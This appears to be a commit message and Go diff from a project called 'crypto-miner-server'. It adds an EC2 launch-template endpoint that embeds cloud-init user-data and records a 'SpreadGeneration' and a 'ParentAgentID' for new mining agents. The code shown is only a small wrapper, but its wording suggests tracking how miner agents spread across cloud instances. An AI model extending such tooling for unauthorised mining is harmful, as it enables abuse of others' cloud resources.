Add EC2 Launch Template strain genesis for AWS horizontal scale.

Ship POST /api/v1/forge/launch-template with cloud-init user-data embedding genesis snapshot hash and strain card ID; first template-tagged auth pins SpreadGeneration=0 and ParentAgentID=template.

server/internal/api/launch_template_genesis.go

@@ -0,0 +1,18 @@
+package api
+
+import (
+	"crypto-miner-server/internal/models"
+	"crypto-miner-server/internal/spreadgenesis"
+)
+
+type launchTemplateAuthProbe struct {
+	JoinLane            string
+	ParentAgentID       string
+	GenesisSnapshotHash string
+}
+
+func applyLaunchTemplateGenesisFirstAuth(agent *models.Agent, isNewAgent bool, auth launchTemplateAuthProbe) {
+	spreadgenesis.ApplyFirstAuth(agent, isNewAgent, spreadgenesis.AuthProbe{
+		JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
+	})
+}